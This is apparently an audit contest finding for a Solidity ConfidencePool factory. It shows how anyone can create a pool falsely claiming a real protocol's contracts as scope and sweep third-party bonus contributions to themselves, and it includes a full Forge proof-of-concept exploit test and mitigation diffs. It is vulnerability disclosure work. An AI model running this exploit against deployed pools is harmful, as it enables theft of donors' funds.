FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: high
Likelihood: high

Unverified agreement-scope binding lets anyone impersonate a protocol's ConfidencePool and steal third-party bonus contributions

Author Revealed upon completion

Unverified agreement-scope binding lets anyone impersonate a protocol's ConfidencePool and steal third-party bonus contributions

Description

  • ConfidencePoolFactory.createPool creates a ConfidencePool that is supposed to cover a specific set of BattleChain accounts belonging to the protocol behind the given Safe Harbor agreement. Third parties trust getScopeAccounts() and back the pool's stakers via contributeBonus(). To validate this, the factory/pool check isAgreementValid, agreement.owner() == msg.sender, and per-account IAgreement(agreement).isContractInScope(account).

  • None of these prove agreement is actually bound to the accounts it lists — isContractInScope is a plain cache the agreement's own owner fills via addAccounts/addOrSetChains, with no ownership proof behind it. The real binding lives only in AttackRegistry.s_contractToAgreement, populated exclusively by requestUnderAttack/requestUnderAttackForUnverifiedContracts — neither the factory nor the pool ever reads it. So anyone can permissionlessly deploy their own empty Agreement, list a real, unrelated protocol's contract as "in scope", and spin up a pool through the legitimate factory flow that looks exactly like a genuine confidence pool for that protocol.

Risk

Likelihood:

  • Deploying an Agreement via AgreementFactory.create is fully permissionless and free of any ownership check on the scope addresses it lists.

  • The attacker's agreement never needs to interact with AttackRegistry at all — leaving it unregistered keeps its state at NOT_DEPLOYED for the entire life of the pool, which is exactly the state the pool treats as "pre-attack, nothing at risk yet."

  • Every step of the attack is an ordinary, unprivileged function call with ordinary parameters (createPool, stake, contributeBonus, claimExpired, sweepUnclaimedBonus), so no special token behavior, no timing race, no cooperation from the DAO, the registry, or the impersonated protocol is required.

Impact:

  • All bonus contributions (contributeBonus) sent to the pool are permanently and irrecoverably swept to recoveryAddress — an address the attacker sets to themselves at pool creation — via the permissionless sweepUnclaimedBonus().

  • Stakers recover their own principal in full, so the entire loss falls on whoever donated to the bonus pool believing it was backing a real, DAO-tracked protocol.

Proof of Concept

Copy to a test file and run with forge. Walkthrough:

  1. Attacker deploys their own MockAgreement and self-declares an unrelated, real protocol's address (REAL_PROTOCOL_CONTRACT) as in-scope — no ownership of that address required.

  2. Attacker calls the real factory.createPool() with that address as scope. Both gates (isAgreementValid, owner() == msg.sender) pass because the attacker owns their own fake agreement, not because they own REAL_PROTOCOL_CONTRACT.

  3. A staker and a bonus donor interact with the pool normally — it publicly lists REAL_PROTOCOL_CONTRACT as covered scope, so it looks legitimate.

  4. The attacker never calls requestUnderAttack, so AttackRegistry never links REAL_PROTOCOL_CONTRACT to the fake agreement; the registry state stays NOT_DEPLOYED for the pool's entire life, and riskWindowStart never opens.

  5. At expiry, claimExpired() resolves the pool as EXPIRED. The staker gets their principal back in full.

  6. The attacker calls sweepUnclaimedBonus() and receives 100% of the donor's bonus, since no bonus was ever earned as a risk premium.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {Test} from "forge-std/Test.sol";
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
import {ConfidencePoolFactory} from "src/ConfidencePoolFactory.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {MockERC20} from "test/mocks/MockERC20.sol";
import {MockAgreement} from "test/mocks/MockAgreement.sol";
import {MockSafeHarborRegistry} from "test/mocks/MockSafeHarborRegistry.sol";
import {MockAttackRegistry} from "test/mocks/MockAttackRegistry.sol";
contract Finding1ScopeImpersonationPoC is Test {
uint256 internal constant ONE = 1e18;
address internal constant REAL_PROTOCOL_CONTRACT = address(0xBEEF_BEEF);
MockERC20 internal token;
MockSafeHarborRegistry internal safeHarborRegistry;
MockAttackRegistry internal attackRegistry;
ConfidencePool internal poolImplementation;
ConfidencePoolFactory internal factory;
address internal attacker = makeAddr("attacker");
address internal victimStaker = makeAddr("victimStaker");
address internal donor = makeAddr("donor");
address internal defaultModerator = makeAddr("defaultModerator");
function setUp() external {
token = new MockERC20();
attackRegistry = new MockAttackRegistry();
safeHarborRegistry = new MockSafeHarborRegistry();
safeHarborRegistry.setAttackRegistry(address(attackRegistry));
poolImplementation = new ConfidencePool();
ConfidencePoolFactory factoryImpl = new ConfidencePoolFactory();
ERC1967Proxy proxy = new ERC1967Proxy(
address(factoryImpl),
abi.encodeCall(
ConfidencePoolFactory.initialize,
(address(safeHarborRegistry), address(poolImplementation), defaultModerator)
)
);
factory = ConfidencePoolFactory(address(proxy));
factory.setStakeTokenAllowed(address(token), true);
}
function testPoc() external {
MockAgreement fakeAgreement = new MockAgreement(attacker);
fakeAgreement.setContractInScope(REAL_PROTOCOL_CONTRACT, true);
safeHarborRegistry.setAgreementValid(address(fakeAgreement), true);
address[] memory scope = new address[](1);
scope[0] = REAL_PROTOCOL_CONTRACT;
uint256 expiry = block.timestamp + 31 days;
vm.prank(attacker);
address poolAddr = factory.createPool(
address(fakeAgreement),
address(token),
expiry,
ONE,
attacker,
scope
);
ConfidencePool pool = ConfidencePool(poolAddr);
address[] memory publishedScope = pool.getScopeAccounts();
assertEq(publishedScope.length, 1);
assertEq(publishedScope[0], REAL_PROTOCOL_CONTRACT);
uint256 stakeAmount = 100 * ONE;
uint256 bonusAmount = 50 * ONE;
token.mint(victimStaker, stakeAmount);
vm.startPrank(victimStaker);
token.approve(poolAddr, stakeAmount);
pool.stake(stakeAmount);
vm.stopPrank();
token.mint(donor, bonusAmount);
vm.startPrank(donor);
token.approve(poolAddr, bonusAmount);
pool.contributeBonus(bonusAmount);
vm.stopPrank();
assertEq(uint8(attackRegistry.getAgreementState(address(fakeAgreement))), uint8(0));
assertEq(pool.riskWindowStart(), 0);
vm.warp(expiry + 1);
pool.claimExpired();
assertEq(uint8(pool.outcome()), uint8(PoolStates.Outcome.EXPIRED));
vm.prank(victimStaker);
pool.claimExpired();
assertEq(token.balanceOf(victimStaker), stakeAmount, "staker recovers full principal");
uint256 attackerBalanceBefore = token.balanceOf(attacker);
pool.sweepUnclaimedBonus();
uint256 attackerBalanceAfter = token.balanceOf(attacker);
assertEq(attackerBalanceAfter - attackerBalanceBefore, bonusAmount, "attacker drains 100% of donor bonus");
assertEq(token.balanceOf(poolAddr), 0, "pool fully drained");
}
}

Recommended Mitigation

Cross-check the real contract-to-agreement binding when scope is set, instead of trusting the agreement's self-declared cache alone:

function _replaceScope(address[] calldata accounts) internal {
if (accounts.length == 0) revert EmptyScope();
...
for (uint256 i; i < accounts.length; ++i) {
address account = accounts[i];
if (isAccountInScope[account]) revert DuplicateAccount(account);
if (!IAgreement(agreement).isContractInScope(account)) {
revert AccountNotInAgreementScope(account);
}
+ address attackRegistry = safeHarborRegistry.getAttackRegistry();
+ if (IAttackRegistry(attackRegistry).getAgreementForContract(account) != agreement) {
+ revert AccountNotBoundToAgreement(account);
+ }
_scopeAccounts.push(account);
isAccountInScope[account] = true;
}

Note: getAgreementForContract only populates after requestUnderAttack/requestUnderAttackForUnverifiedContracts, so this check also rejects a brand-new, not-yet-registered agreement — if that needs to stay supported, defer the binding check to the first _observePoolState() call instead of initialize/setPoolScope.

Defense-in-depth even without closing the binding gap: don't hand unclaimed bonus to a sponsor-controlled recoveryAddress when no risk was ever observed:

function sweepUnclaimedBonus() external nonReentrant {
...
- stakeToken.safeTransfer(recoveryAddress, amount);
+ // When riskWindowStart == 0, no staker ever earned this bonus as a risk
+ // premium -- return it pro-rata to whoever contributed it instead of
+ // routing it to the sponsor-controlled recoveryAddress.
+ _refundBonusContributors(amount);

This removes the profit motive for the impersonation attack even if the scope-binding gap is not fully closed.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!